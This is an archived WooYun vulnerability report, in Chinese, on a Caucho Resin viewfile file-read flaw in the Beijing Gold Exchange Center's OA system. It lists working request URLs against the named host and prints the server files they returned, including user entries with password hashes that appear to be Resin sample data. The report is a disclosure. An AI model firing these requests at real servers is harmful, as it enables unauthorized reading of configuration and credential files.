当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162581

漏洞标题：北京黄金交易中心某系统存在远程文件读取漏洞，内部信息泄漏

相关厂商：bjgold.com.cn

漏洞作者： 朱元璋

提交时间：2015-12-19 12:42

修复时间：2015-12-24 12:44

公开时间：2015-12-24 12:44

漏洞类型：文件包含

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-19： 细节已通知厂商并且等待厂商处理中
2015-12-24： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

北京产权交易所（简称“北交所”）是经北京市人民政府批准设立的综合性产权交易机构，是以企业产权交易为基础，集各类权益交易服务为一体的专业化市场平台。
具有双重职能，一是，贯彻落实国家十二五计划，对国家各部委在机构改革中的国有资产进行重组、产权转让、资产并购、股权融资、资源整合等全要素、全流程服务。二是，服务于多品种权益交易的基础性资本市场平台。
北交所是中国最大的产权交易桥梁和纽带中心。
北京黄金交易中心（简称：北京黄金）是经北京市政府批准，依托北京产权交易所集团平台建立并发展的综合性贵金属交易机构。

详细说明：

黄金交易协同商务系统地址http://oa.bjgold.com.cn/login/Login.jsp存在Caucho Resin viewfile远程文件及路径泄露漏洞

0.png


http://oa.bjgold.com.cn/resin-doc/examples/security-basic/viewfile?file=WEB-INF/password.xml

1.jpg


WEB-INF/password.xml
<!-- password.xml -->
<authenticator>
  <!-- professors -->
  <user name='snape' password='I7HdZr7CTM6hZLlSd2o+CA==' roles='professor,slytherin'/>
  <user name='mcgonagall' password='4slsTREVeTo0sv5hGkZWag==' roles='professor,gryffindor'/>
  <!-- students -->
  <user name='harry' password='uTOZTGaB6pooMDvqvl2Lbg==' roles='student,gryffindor'/>
  <user name='dmalfoy' password='yI2uN1l97Rv5E6mdRnDFwQ==' roles='student,slytherin'/>
  <!-- alumni -->
  <user name='lmalfoy' password='sj/yhtU1h4LZPw7/Uy9IVA==' roles='alumni,gryffindor'/>
</authenticator>


http://oa.bjgold.com.cn/resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml

2.jpg


WEB-INF/web.xml
<web-app>
  <display-name>login-xml</display-name>
  <welcome-file-list>
    <welcome-file>index.jsp</welcome-file>
    <welcome-file>index.html</welcome-file>
  </welcome-file-list>
  <!-- this is the jsp that a 'login' link uses -->
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Home</web-resource-name>
      <url-pattern>/home.jsp</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <!-- 
        '*' for a <role-name> means "authenticated user with any role"
        The user must be logged in with some kind of role to access
        the home page.  
      -->
      <role-name>*</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Professors</web-resource-name>
      <url-pattern>/professors/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Students</web-resource-name>
      <url-pattern>/students/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>student</role-name>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <security-constraint>
    <web-resource-collection>
      <web-resource-name>Staff</web-resource-name>
      <url-pattern>/staff/*</url-pattern>
    </web-resource-collection>
    <auth-constraint>
      <role-name>staff</role-name>
      <role-name>professor</role-name>
    </auth-constraint>
  </security-constraint>
  <login-config>
    <auth-method>form</auth-method>
    <form-login-config>
      <form-login-page>/login.jsp</form-login-page>
      <form-error-page>/login.jsp?login_error=1</form-error-page>
    </form-login-config>
  </login-config>
  <!-- Resin-specific XmlAuthenticator configuration -->
  <authenticator>
    <type>com.caucho.server.security.XmlAuthenticator</type>
    <init>
      <!-- Optionally put user information here.  -->
      <user>pince:Txpd1jQc/xwhISIqodEjfw==:staff,website</user>
      <user>filch:KmZIq2RKXAHV4BaoNHfupQ==:staff</user>
      <!-- You can also use an external file --> 
      <path>WEB-INF/password.xml</path>
    </init>
  </authenticator>
  
  <security-role>
    <role-name>professor</role-name>
  </security-role>
  <security-role>
    <role-name>student</role-name>
  </security-role>
  <security-role>
    <role-name>staff</role-name>
  </security-role>
  <security-role>
    <description>member of the slytherin house</description>
    <role-name>slytherin</role-name>
  </security-role>
  <security-role>
    <description>member of the gryffindor house</description>
    <role-name>gryffindor</role-name>
  </security-role>
  <security-role>
    <description>member of the ravenclaw house</description>
    <role-name>ravenclaw</role-name>
  </security-role>
  <security-role>
    <description>member of the hufflepuff house</description>
    <role-name>hufflepuff</role-name>
  </security-role>
  <security-role>
    <description>website administrator</description>
    <role-name>website</role-name>
  </security-role>
</web-app>


http://oa.bjgold.com.cn/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class
错误的路径暴泄漏安装的绝对路径

3.jpg


WEB-INF/classes/com/webapp/app/target.class
File not found: /:/WEB-INF/classes/com/webapp/app/target.class


漏洞证明：

http://oa.bjgold.com.cn/Resin-doc/viewfile/?file=index.Jsp

index.Jsp
<%@ page session="false" import="com.caucho.vfs.*, com.caucho.server.webapp.*" %>
<%-- 
  This is the default start page for the Resin server.
  You can replace it as you wish, the documentation will
  still be available as /resin-doc if it is installed.
  --%>
<%
/**
 * See if the resin-doc webapp is installed
 */
boolean hasResinDoc = false;
boolean hasOrientation = false;
ServletContext docApp = application.getContext("/resin-doc");  
if (docApp != null) {
  String rp = docApp.getRealPath("index.xtp");
  if (rp != null && (new java.io.File(rp)).exists())
    hasResinDoc = true;
  if (hasResinDoc) {
    rp = docApp.getRealPath("orientation.xtp");
    if (rp != null && (new java.io.File(rp)).exists())
      hasOrientation = true;
  }
}
%>
<html>
<head><title>Resin® Default Home Page</title></head>
<body>
<h1 style="background: #ccddff">Resin® Default Home Page</h1>
This is the default page for the Resin web server.
<% if (hasResinDoc) { %>
<% if (hasOrientation) { %>
<p>
New users can start <a href="/resin-doc/orientation.xtp?xtpflag=default-homepage">here.</a>.
<% } %>
<p>Documentation is available <a href="/resin-doc">here</a>.
<p>Administration is available <a href="/resin-admin">here</a>.
<% } else { %>
<p>
The Resin documentation is normally found with the url  <i>
<%= request.getScheme() %>://<%= request.getServerName() %>:<%= request.getServerPort() %>/resin-doc</i>, but it does not appear to be installed at that location.
<% }  %>
</body>
</html>

修复方案：

加强安全意识

版权声明：转载请注明来源 朱元璋@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-12-24 12:44

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无